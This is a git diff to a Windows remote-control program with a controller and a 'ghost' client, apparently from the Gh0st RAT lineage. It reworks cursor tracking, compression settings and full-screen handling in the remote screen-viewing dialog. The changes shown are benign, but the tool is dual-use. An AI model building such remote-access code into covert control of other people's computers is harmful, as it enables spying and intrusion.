diff --git a/.gitignore b/.gitignore
index 81ebdfa..4335544 100644
--- a/.gitignore
+++ b/.gitignore
@@ -67,3 +67,4 @@ server/2015Remote/2015Remote.aps
server/2015Remote.VC.db
server/2015Remote.opensdf
*.7z
+*.ini
diff --git a/ReadMe.txt b/ReadMe.txt
index a74f078..1ef0cad 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -115,3 +115,15 @@
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃,原因不明。
2、修复内存泄漏缺陷,在throw "Bad Buffer"的情况需要释放申请的内存。
+
+2019.1.20
+
+1、发现不管是采用zstd还是zlib,主控端在进行桌面控制时均有崩溃的几率(zlib较小)。
+
+2、改用zlib压缩解压库。
+
+3、完善追踪鼠标时鼠标形态变化时的展现效果。
+
+4、当退出远程桌面窗口全屏状态时,不再向远程被控端发送F11。
+
+5、发现在有线网络条件下主控端崩溃几率较小。
diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj
index 5d209a4..5a2a76c 100644
--- a/client/ClientDll.vcxproj
+++ b/client/ClientDll.vcxproj
@@ -83,7 +83,6 @@
-
@@ -106,7 +105,7 @@
-
+
diff --git a/client/ClientDll.vcxproj.filters b/client/ClientDll.vcxproj.filters
index df17464..4563459 100644
--- a/client/ClientDll.vcxproj.filters
+++ b/client/ClientDll.vcxproj.filters
@@ -33,9 +33,6 @@
源文件
-
- 源文件
-
源文件
@@ -98,9 +95,6 @@
头文件
-
- 头文件
-
头文件
@@ -158,6 +152,9 @@
头文件
+
+ 头文件
+
diff --git a/client/CursorInfo.h b/client/CursorInfo.h
new file mode 100644
index 0000000..6163c46
--- /dev/null
+++ b/client/CursorInfo.h
@@ -0,0 +1,85 @@
+// CursorInfor.h: interface for the CCursorInfor class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
+#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#define MAX_CURSOR_TYPE 16
+
+class CCursorInfo
+{
+private:
+ LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
+ HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
+
+public:
+ CCursorInfo()
+ {
+ LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
+ {
+ IDC_APPSTARTING,
+ IDC_ARROW,
+ IDC_CROSS,
+ IDC_HAND,
+ IDC_HELP,
+ IDC_IBEAM,
+ IDC_ICON,
+ IDC_NO,
+ IDC_SIZE,
+ IDC_SIZEALL,
+ IDC_SIZENESW,
+ IDC_SIZENS,
+ IDC_SIZENWSE,
+ IDC_SIZEWE,
+ IDC_UPARROW,
+ IDC_WAIT
+ };
+
+ for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
+ {
+ m_CursorResArray[i] = CursorResArray[i];
+ m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
+ }
+ }
+
+ virtual ~CCursorInfo()
+ {
+ for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
+ DestroyCursor(m_CursorHandleArray[i]);
+ }
+
+ int getCurrentCursorIndex()
+ {
+ CURSORINFO ci;
+ ci.cbSize = sizeof(CURSORINFO);
+ if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
+ return -1;
+
+ int i;
+ for (i = 0; i < MAX_CURSOR_TYPE; ++i)
+ {
+ if (ci.hCursor == m_CursorHandleArray[i])
+ break;
+ }
+ DestroyCursor(ci.hCursor);
+
+ int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
+ return nIndex;
+ }
+
+ HCURSOR getCursorHandle( int nIndex )
+ {
+ if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
+ return m_CursorHandleArray[nIndex];
+ else
+ return NULL;
+ }
+};
+
+
+#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
diff --git a/client/CursorInfor.cpp b/client/CursorInfor.cpp
deleted file mode 100644
index 12655f0..0000000
--- a/client/CursorInfor.cpp
+++ /dev/null
@@ -1,40 +0,0 @@
-// CursorInfor.cpp: implementation of the CCursorInfor class.
-//
-//////////////////////////////////////////////////////////////////////
-
-#include "stdafx.h"
-#include "CursorInfor.h"
-
-
-//////////////////////////////////////////////////////////////////////
-// Construction/Destruction
-//////////////////////////////////////////////////////////////////////
-
-CCursorInfor::CCursorInfor()
-{
-
-}
-
-CCursorInfor::~CCursorInfor()
-{
-
-}
-
-int CCursorInfor::GetCurrentCursorIndex()
-{
- CURSORINFO ci;
- ci.cbSize = sizeof(CURSORINFO);
- if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
- {
- return -1;
- }
-
- int iIndex = 0;
- for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
- {
- break;
- }
- DestroyCursor(ci.hCursor);
-
- return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
-}
diff --git a/client/CursorInfor.h b/client/CursorInfor.h
deleted file mode 100644
index 590a6c6..0000000
--- a/client/CursorInfor.h
+++ /dev/null
@@ -1,22 +0,0 @@
-// CursorInfor.h: interface for the CCursorInfor class.
-//
-//////////////////////////////////////////////////////////////////////
-
-#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
-#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
-
-#if _MSC_VER > 1000
-#pragma once
-#endif // _MSC_VER > 1000
-
-#define MAX_CURSOR_TYPE 16
-class CCursorInfor
-{
-public:
- CCursorInfor();
- virtual ~CCursorInfor();
-
- int GetCurrentCursorIndex();
-};
-
-#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp
index f957558..0d10fad 100644
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -46,7 +46,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
#if USING_ZLIB
const int fps = 8;// ֡
#elif USING_LZ4
- const int fps = 12;// ֡
+ const int fps = 8;// ֡
#else
const int fps = 8;// ֡
#endif
diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp
index 42ddd42..01c0716 100644
--- a/client/ScreenSpy.cpp
+++ b/client/ScreenSpy.cpp
@@ -156,7 +156,7 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д뵱ǰ
- BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
+ BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// Ƚ㷨
diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h
index 7285bd2..948a442 100644
--- a/client/ScreenSpy.h
+++ b/client/ScreenSpy.h
@@ -10,7 +10,7 @@
#endif // _MSC_VER > 1000
#define ALGORITHM_DIFF 1
#define COPY_ALL 1 // ȫĻֿ鿽added by yuanyuanxiang 2019-1-7
-#include "CursorInfor.h"
+#include "CursorInfo.h"
class CScreenSpy
@@ -61,7 +61,7 @@ public:
m_RectBufferOffset += ulLength;
}
- CCursorInfor m_CursorInfor;
+ CCursorInfo m_CursorInfor;
HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full;
diff --git a/client/StdAfx.h b/client/StdAfx.h
index 67f0dd3..f83e4be 100644
--- a/client/StdAfx.h
+++ b/client/StdAfx.h
@@ -7,11 +7,11 @@
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
// ǷʹZLIB
-#define USING_ZLIB 0
+#define USING_ZLIB 1
#if !USING_ZLIB
// ǷʹLZ4
-#define USING_LZ4 0
+#define USING_LZ4 1
#endif
#if _MSC_VER > 1000
diff --git a/client/TestRun.vcxproj.user b/client/TestRun.vcxproj.user
index 562dc43..5c23ca4 100644
--- a/client/TestRun.vcxproj.user
+++ b/client/TestRun.vcxproj.user
@@ -1,12 +1,12 @@
- C:\Users\win7\Desktop\Remoter\TestRun.exe
- C:\Users\win7\Desktop\Remoter
- 192.168.43.2
- C:\Users\win7\Desktop\Remoter
+ D:\VM\Remoter\TestRun.exe
+ D:\VM\Remoter
+ 192.168.12.248
+ D:\VM\Remoter
$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb
false
- WindowsLocalDebugger
+ WindowsRemoteDebugger
\ No newline at end of file
diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj
index a73e6e6..7a5c4d5 100644
--- a/client/ghost.vcxproj
+++ b/client/ghost.vcxproj
@@ -88,7 +88,6 @@
-
@@ -111,7 +110,7 @@
-
+
diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters
index 13ffc0d..ae6eeab 100644
--- a/client/ghost.vcxproj.filters
+++ b/client/ghost.vcxproj.filters
@@ -33,9 +33,6 @@
源文件
-
- 源文件
-
源文件
@@ -98,9 +95,6 @@
头文件
-
- 头文件
-
头文件
@@ -158,6 +152,9 @@
头文件
+
+ 头文件
+
diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user
index e23900c..abe2fa0 100644
--- a/client/ghost.vcxproj.user
+++ b/client/ghost.vcxproj.user
@@ -2,7 +2,7 @@
WindowsLocalDebugger
- 192.168.104.250 2356
+ 192.168.12.250 2356
WindowsLocalDebugger
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index d19591f..7bdbb10 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index bf17878..c7226a2 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -833,7 +833,7 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
{
- AUTO_TICK(5);
+ AUTO_TICK(20);
MessageHandle(ContextObject);
}
@@ -1142,7 +1142,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s
// øΪ
Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow());
- Dlg->ShowWindow(SW_SHOW);
+ Dlg->ShowWindow(SW_SHOWMAXIMIZED);
ContextObject->v1 = SCREENSPY_DLG;
ContextObject->hDlg = Dlg;
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 77bca56..771b7f0 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -69,6 +69,7 @@ IOCPServer::IOCPServer(void)
m_hKillEvent = NULL;
+ memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
m_NotifyProc = NULL;
@@ -403,7 +404,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
//ڹ߳б
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
{
- AUTO_TICK(5);
+ AUTO_TICK(20);
BOOL bRet = FALSE;
@@ -530,7 +531,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH);
ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG));
- ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
+ ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
delete [] CompressedBuffer;
}
diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h
index 595302f..2b03921 100644
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -72,7 +72,7 @@ public:
ULONG m_ulKeepLiveTime;
- char m_szPacketFlag[FLAG_LENGTH];
+ char m_szPacketFlag[FLAG_LENGTH + 3];
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index 2063688..f8ac277 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -37,7 +37,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
GetSystemDirectory(szFullPath, MAX_PATH);
lstrcat(szFullPath, "\\shell32.dll"); //ͼ
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
- m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROW));
+ m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROWS));
sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr));
@@ -231,12 +231,13 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void)
}
// ͷ仯
- BYTE bOldCursorIndex;
- memcpy(&bOldCursorIndex, &m_bCursorIndex, sizeof(BYTE));
- memcpy(&m_bCursorIndex, m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT)), sizeof(BYTE));
+ BYTE bOldCursorIndex = m_bCursorIndex;
+ m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex)
{
bChange = TRUE;
+ if (m_bIsCtrl && !m_bIsTraceCursor)//滻ָWNDCLASSEXṹ
+ SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// ĻǷ仯
@@ -298,7 +299,7 @@ void CScreenSpyDlg::OnPaint()
m_hFullDC,
m_ClientCursorPos.x - m_ulHScrollPos,
m_ClientCursorPos.y - m_ulVScrollPos,
- m_hCursor,
+ m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex),
0,0,
0,
NULL,
@@ -413,6 +414,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
+ if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: ˳ȫ
+ return true;
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG Msg;
@@ -423,9 +426,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
SendCommand(&Msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
- return true;
- if (pMsg->wParam == VK_F11) // ˳ȫ
- LeaveFullScreen();
+ return true;// EnterESCرնԻ
break;
}
@@ -647,8 +648,8 @@ void CScreenSpyDlg::EnterFullScreen()
}
}
-
-void CScreenSpyDlg::LeaveFullScreen()
+// ȫ˳ɹtrue
+bool CScreenSpyDlg::LeaveFullScreen()
{
if (m_bFullScreen)
{
@@ -656,7 +657,9 @@ void CScreenSpyDlg::LeaveFullScreen()
CMenu *SysMenu = GetSystemMenu(FALSE);
SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_UNCHECKED); //˵ʽ
m_bFullScreen = false;
+ return true;
}
+ return false;
}
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h
index 29545fa..cbec154 100644
--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -1,5 +1,6 @@
#pragma once
#include "IOCPServer.h"
+#include "..\..\client\CursorInfo.h"
// CScreenSpyDlg Ի
@@ -34,6 +35,7 @@ public:
BYTE m_bCursorIndex;
CString m_strClientIP;
BOOL m_bIsTraceCursor;
+ CCursorInfo m_CursorInfo; //ԶһϵͳĹ
VOID SendCommand(MSG* Msg);
VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
@@ -53,7 +55,7 @@ public:
WINDOWPLACEMENT m_struOldWndpl;
void EnterFullScreen();
- void LeaveFullScreen();
+ bool LeaveFullScreen();
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 3302ec3..7ddd7de 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index b4d90e8..bfbc39d 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -6,11 +6,11 @@
#pragma once
// ǷʹZLIB
-#define USING_ZLIB 0
+#define USING_ZLIB 1
#if !USING_ZLIB
// ǷʹLZ4
-#define USING_LZ4 0
+#define USING_LZ4 1
#endif
#ifndef _SECURE_ATL
@@ -245,7 +245,7 @@ public:
#ifdef _DEBUG
// ܼ㵱ǰĺʱʱӡ
-#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh)
+#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#else
#define AUTO_TICK(thresh)
#endif